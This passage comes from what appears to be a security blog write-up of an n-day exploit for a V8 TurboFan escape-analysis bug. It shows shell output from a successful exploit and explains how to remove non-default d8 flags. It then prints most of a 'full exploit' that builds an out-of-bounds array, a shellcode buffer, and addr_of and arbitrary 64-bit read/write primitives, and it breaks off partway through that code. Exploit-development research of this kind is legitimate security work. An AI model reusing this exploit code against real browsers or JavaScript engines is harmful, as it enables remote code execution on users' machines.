</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Found</span> <span style="color:#a6e22e">offset</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">36</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Found</span> <span style="color:#a6e22e">offset</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">45</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Found</span> <span style="color:#a6e22e">offset</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">55</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Found</span> <span style="color:#a6e22e">offset</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">65</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">JIT</span> Function<span style="color:#f92672">:</span> <span style="color:#ae81ff">0x00001294cf5af4a9</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">JIT</span> <span style="color:#a6e22e">PTR</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0x000030b8f5904cc0</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">$</span> <span style="color:#a6e22e">id</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">uid</span><span style="color:#f92672">=</span><span style="color:#ae81ff">1000</span>(<span style="color:#a6e22e">zon8</span>) <span style="color:#a6e22e">gid</span><span style="color:#f92672">=</span><span style="color:#ae81ff">1000</span>(<span style="color:#a6e22e">zon8</span>) <span style="color:#a6e22e">groups</span><span style="color:#f92672">=</span><span style="color:#ae81ff">1000</span>(<span style="color:#a6e22e">zon8</span>),<span style="color:#ae81ff">4</span>(<span style="color:#a6e22e">adm</span>),<span style="color:#ae81ff">24</span>(<span style="color:#a6e22e">cdrom</span>),<span style="color:#ae81ff">27</span>(<span style="color:#a6e22e">sudo</span>),<span style="color:#ae81ff">30</span>(<span style="color:#a6e22e">dip</span>),<span style="color:#ae81ff">46</span>(<span style="color:#a6e22e">plugdev</span>),<span style="color:#ae81ff">108</span>(<span style="color:#a6e22e">lxd</span>)
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">$</span>
</span></span></code></pre></div><h2 id="removing-the-cli-flags">Removing the CLI Flags</h2>
<p>Currently this exploit only works with a series of nondefault CLI flags (seen below) that would not be active in normal installations of Chrome or V8. Therefore if we were trying to create a stable exploit, we would want to remove these flags.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>./d8 nday.js --allow-natives-syntax --turbo-escape --turbo-experimental --no-turbo-loop-peeling 
</span></span></code></pre></div><p><code>--allow-natives-syntax</code> is used for the <code>OptimizeOnNextFunctionCall</code> functions which forces functions to be optimized and compiled by Turbofan JIT. This is relatively trivial to remove as it is possible to create a loop that calls the function thousands of times to trigger the JIT compilation of the function.</p>
<p>Before:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#f92672">%</span><span style="color:#a6e22e">OptimizeFunctionOnNextCall</span>(<span style="color:#a6e22e">f</span>);
</span></span></code></pre></div><p>After:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span><span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">&lt;</span><span style="color:#ae81ff">100000</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p><code>--no-turbo-loop-peeling</code> prevents loop peeling or loop splitting.</p>
<blockquote>
<p>Loop splitting is a compiler optimization technique. It attempts to simplify a loop or eliminate dependencies by breaking it into multiple loops which have the same bodies but iterate over different contiguous portions of the index range.</p>
</blockquote>
<blockquote>
<p>Loop peeling is a special case of loop splitting which splits any problematic first (or last) few iterations from the loop and performs them outside of the loop body.</p>
</blockquote>
<p><a href="https://en.wikipedia.org/wiki/Loop_splitting">Loop Splitting - Wikipedia</a></p>
<p>We are able to successfully disable loop peeling in our function by adding some if statements that do not change the functionality of the exploit, but modify the loop just enough that the optimizer can no longer peel any iterations of our loop.</p>
<p>Before:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">3</span>; <span style="color:#f92672">++</span><span style="color:#a6e22e">i</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">x</span> <span style="color:#f92672">%</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) { <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;<span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span> }
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">initial_oob_array</span>[<span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">1.39064994160909</span><span style="color:#a6e22e">e</span><span style="color:#f92672">-</span><span style="color:#ae81ff">309</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span>;
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>After:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">3</span>; <span style="color:#f92672">++</span><span style="color:#a6e22e">i</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">2</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">x</span> <span style="color:#f92672">%</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">x</span> <span style="color:#f92672">%</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">b</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">initial_oob_array</span>[<span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">1.39064994160909</span><span style="color:#a6e22e">e</span><span style="color:#f92672">-</span><span style="color:#ae81ff">309</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span>;
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>Now we are down to the following flags:</p>
<pre tabindex="0"><code>./d8 nday.js --turbo-escape --turbo-experimental
</code></pre><p>The flag <code>--turbo-escape</code> just forces the escape analysis phase to happen, this is already happening so we can safely remove this flag and the exploit will continue to function.</p>
<p>Finally we have the <code>--turbo-experimental</code> flag. This flag only effects the below function:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> EscapeAnalysis<span style="color:#f92672">::</span>ProcessCheckMaps(Node<span style="color:#f92672">*</span> node) {
</span></span><span style="display:flex;"><span>  DCHECK_EQ(node<span style="color:#f92672">-&gt;</span>opcode(), IrOpcode<span style="color:#f92672">::</span>kCheckMaps);
</span></span><span style="display:flex;"><span>  ForwardVirtualState(node);
</span></span><span style="display:flex;"><span>  Node<span style="color:#f92672">*</span> checked <span style="color:#f92672">=</span> ResolveReplacement(NodeProperties<span style="color:#f92672">::</span>GetValueInput(node, <span style="color:#ae81ff">0</span>));
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (FLAG_turbo_experimental) {
</span></span><span style="display:flex;"><span>    VirtualState<span style="color:#f92672">*</span> state <span style="color:#f92672">=</span> virtual_states_[node<span style="color:#f92672">-&gt;</span>id()];
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (VirtualObject<span style="color:#f92672">*</span> object <span style="color:#f92672">=</span> GetVirtualObject(state, checked)) {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (<span style="color:#f92672">!</span>object<span style="color:#f92672">-&gt;</span>IsTracked()) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (status_analysis_<span style="color:#f92672">-&gt;</span>SetEscaped(node)) {
</span></span><span style="display:flex;"><span>          TRACE(
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;Setting #%d (%s) to escaped because checked object #%i is not &#34;</span>
</span></span><span style="display:flex;"><span>              <span style="color:#e6db74">&#34;tracked</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,
</span></span><span style="display:flex;"><span>              node<span style="color:#f92672">-&gt;</span>id(), node<span style="color:#f92672">-&gt;</span>op()<span style="color:#f92672">-&gt;</span>mnemonic(), object<span style="color:#f92672">-&gt;</span>id());
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>      CheckMapsParameters params <span style="color:#f92672">=</span> CheckMapsParametersOf(node<span style="color:#f92672">-&gt;</span>op());
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      Node<span style="color:#f92672">*</span> value <span style="color:#f92672">=</span> object<span style="color:#f92672">-&gt;</span>GetField(HeapObject<span style="color:#f92672">::</span>kMapOffset <span style="color:#f92672">/</span> kPointerSize);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (value) {
</span></span><span style="display:flex;"><span>        value <span style="color:#f92672">=</span> ResolveReplacement(value);
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// TODO(tebbi): We want to extend this beyond constant folding with a
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">// CheckMapsValue operator that takes the load-eliminated map value as
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#75715e">// input.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>        <span style="color:#66d9ef">if</span> (value<span style="color:#f92672">-&gt;</span>opcode() <span style="color:#f92672">==</span> IrOpcode<span style="color:#f92672">::</span>kHeapConstant <span style="color:#f92672">&amp;&amp;</span>
</span></span><span style="display:flex;"><span>            params.maps().contains(ZoneHandleSet<span style="color:#f92672">&lt;</span>Map<span style="color:#f92672">&gt;</span>(bit_cast<span style="color:#f92672">&lt;</span>Handle<span style="color:#f92672">&lt;</span>Map<span style="color:#f92672">&gt;&gt;</span>(
</span></span><span style="display:flex;"><span>                OpParameter<span style="color:#f92672">&lt;</span>Handle<span style="color:#f92672">&lt;</span>HeapObject<span style="color:#f92672">&gt;&gt;</span>(value))))) {
</span></span><span style="display:flex;"><span>          TRACE(<span style="color:#e6db74">&#34;CheckMaps #%i seems to be redundant (until now).</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,
</span></span><span style="display:flex;"><span>                node<span style="color:#f92672">-&gt;</span>id());
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (status_analysis_<span style="color:#f92672">-&gt;</span>SetEscaped(node)) {
</span></span><span style="display:flex;"><span>    TRACE(<span style="color:#e6db74">&#34;Setting #%d (%s) to escaped (checking #%i)</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, node<span style="color:#f92672">-&gt;</span>id(),
</span></span><span style="display:flex;"><span>          node<span style="color:#f92672">-&gt;</span>op()<span style="color:#f92672">-&gt;</span>mnemonic(), checked<span style="color:#f92672">-&gt;</span>id());
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>As the above function shows, if the turbo experimental flag is enabled, there is a bit of extra functionality. If we disable the <code>--turbo-experimental</code> flag the exploit no longer works, so this functionality must be important for the exploit.</p>
<p>Or so we thought&hellip; However, after some debugging with <code>gdb</code> and <code>printf</code>, it was identified that the only reason this flag causes the exploit to work, is not because of any of the functions within the  <code>  if (FLAG_turbo_experimental) {</code> statement. It is actually because it allows the function to <code>return</code> early and exit before the following piece of code is called:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> (status_analysis_<span style="color:#f92672">-&gt;</span>SetEscaped(node)) {
</span></span><span style="display:flex;"><span>    TRACE(<span style="color:#e6db74">&#34;Setting #%d (%s) to escaped (checking #%i)</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>, node<span style="color:#f92672">-&gt;</span>id(),
</span></span><span style="display:flex;"><span>          node<span style="color:#f92672">-&gt;</span>op()<span style="color:#f92672">-&gt;</span>mnemonic(), checked<span style="color:#f92672">-&gt;</span>id());
</span></span><span style="display:flex;"><span>  }
</span></span></code></pre></div><p>This piece of code breaks the exploit. If we comment it out, the exploit works with and without the <code>--turbo-experimental</code> flag.</p>
<p>This code calls the following function:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">bool</span> EscapeStatusAnalysis<span style="color:#f92672">::</span>SetEscaped(Node<span style="color:#f92672">*</span> node) {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">bool</span> changed <span style="color:#f92672">=</span> <span style="color:#f92672">!</span>(status_[node<span style="color:#f92672">-&gt;</span>id()] <span style="color:#f92672">&amp;</span> kEscaped);
</span></span><span style="display:flex;"><span>  status_[node<span style="color:#f92672">-&gt;</span>id()] <span style="color:#f92672">|=</span> kEscaped <span style="color:#f92672">|</span> kTracked;
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">return</span> changed;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>To make this exploit work without the flag, we have to find a way to exploit this bug without calling checkMaps. If we look back to the original PoCs, we can see <a href="https://chromium.googlesource.com/v8/v8.git/+/2f2f9be7727eac23248fd91a776959d51de6b7c6/test/mjsunit/compiler/escape-analysis-phi-type-2.js">this</a> test case does not require the experimental flag. This is presumably because it doesn&rsquo;t use <code>l[o.a]</code> which would trigger checkMaps which we confirmed by adding <code>printf</code> statements in V8 to check when the function would be called. In the next blog post we will investigate to see if this can be exploited without forcing a checkMaps call.</p>
<p>For now, check out the full exploit that works on V8 6.2.0 with the <code>--turbo-experimental</code> flag.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">load</span>(<span style="color:#e6db74">&#39;/home/zon8/accidentalnday/int64.js&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">f</span>(<span style="color:#a6e22e">x</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">o</span> <span style="color:#f92672">=</span> { <span style="color:#a6e22e">a</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">b</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">0</span> };
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">initial_oob_array</span> <span style="color:#f92672">=</span> [<span style="color:#ae81ff">1.1</span>, <span style="color:#ae81ff">2.2</span>, <span style="color:#ae81ff">3.3</span>, <span style="color:#ae81ff">4.4</span>];
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">oob_array</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> Array(<span style="color:#ae81ff">20</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">oob_array</span>[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">5.5</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">oob_array</span>[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">6.6</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">elements_array</span> <span style="color:#f92672">=</span> [<span style="color:#ae81ff">1337</span>, {}, {}]
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">double_array</span> <span style="color:#f92672">=</span> [<span style="color:#ae81ff">1.337</span>, <span style="color:#ae81ff">10.5</span>, <span style="color:#ae81ff">10.5</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">arb_rw_arraybuffer</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">ArrayBuffer</span>(<span style="color:#ae81ff">0x200</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">shellcode_array_buffer</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">ArrayBuffer</span>(<span style="color:#ae81ff">0x5421</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">res</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">var</span> <span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">3</span>; <span style="color:#f92672">++</span><span style="color:#a6e22e">i</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">2</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">x</span> <span style="color:#f92672">%</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) { <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">x</span> <span style="color:#f92672">%</span> <span style="color:#ae81ff">2</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>) { <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>; }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">initial_oob_array</span>[<span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span>] <span style="color:#f92672">=</span> <span style="color:#ae81ff">1.39064994160909</span><span style="color:#a6e22e">e</span><span style="color:#f92672">-</span><span style="color:#ae81ff">309</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">o</span>.<span style="color:#a6e22e">a</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">res</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">0</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">oob_array</span> <span style="color:#f92672">=</span> [];
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">elements_array</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">double_array</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">arb_rw_arraybuffer</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">shellcode_array_buffer</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">100000</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">1</span>);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">res</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Int64</span>.<span style="color:#a6e22e">from_double</span>(<span style="color:#a6e22e">f</span>(<span style="color:#ae81ff">7</span>));
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">elements_offset</span> <span style="color:#f92672">=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">find_offset_smi</span>(<span style="color:#a6e22e">val</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">5000</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">oob_array</span>[<span style="color:#a6e22e">i</span>] <span style="color:#f92672">==</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Int64</span>(<span style="color:#a6e22e">val</span>).<span style="color:#a6e22e">V8_to_SMI</span>().<span style="color:#a6e22e">to_double</span>()) {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// print(&#34;Found offset: &#34; + i);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#a6e22e">offset</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">i</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">offset</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">find_offset_double</span>(<span style="color:#a6e22e">val</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#a6e22e">i</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>; <span style="color:#a6e22e">i</span> <span style="color:#f92672">&lt;</span> <span style="color:#ae81ff">5000</span>; <span style="color:#a6e22e">i</span><span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (<span style="color:#a6e22e">oob_array</span>[<span style="color:#a6e22e">i</span>] <span style="color:#f92672">==</span> <span style="color:#a6e22e">val</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// print(&#34;Found offset: &#34; + i);
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>            <span style="color:#a6e22e">offset</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">i</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">offset</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">addr_of</span>(<span style="color:#a6e22e">obj</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">elements_array</span>[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">obj</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">Int64</span>.<span style="color:#a6e22e">from_double</span>(<span style="color:#a6e22e">oob_array</span>[<span style="color:#a6e22e">elements_offset</span>])
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">read_64</span>(<span style="color:#a6e22e">addr</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">oob_array</span>[<span style="color:#a6e22e">array_buffer_backing_store_offset</span>] <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Int64</span>(<span style="color:#a6e22e">addr</span>).<span style="color:#a6e22e">to_double</span>()
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">accessor</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Uint32Array</span>(<span style="color:#a6e22e">arb_rw_arraybuffer</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Int64</span>(<span style="color:#66d9ef">undefined</span>, <span style="color:#a6e22e">accessor</span>[<span style="color:#ae81ff">1</span>], <span style="color:#a6e22e">accessor</span>[<span style="color:#ae81ff">0</span>]);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">function</span> <span style="color:#a6e22e">write_64</span>(<span style="color:#a6e22e">addr</span>, <span style="color:#a6e22e">value</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">oob_array</span>[<span style="color:#a6e22e">array_buffer_backing_store_offset</span>] <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Int64</span>(<span style="color:#a6e22e">addr</span>).<span style="color:#a6e22e">to_double</span>()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">let</span> <span style="color:#a6e22e">accessor</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> <span style="color:#a6e22e">Uint32Array</span>(<span style="color:#a6e22e">arb_rw_arraybuffer</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">accessor</span>[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">value</span>.<span style="color:#a6e22e">low</span>;
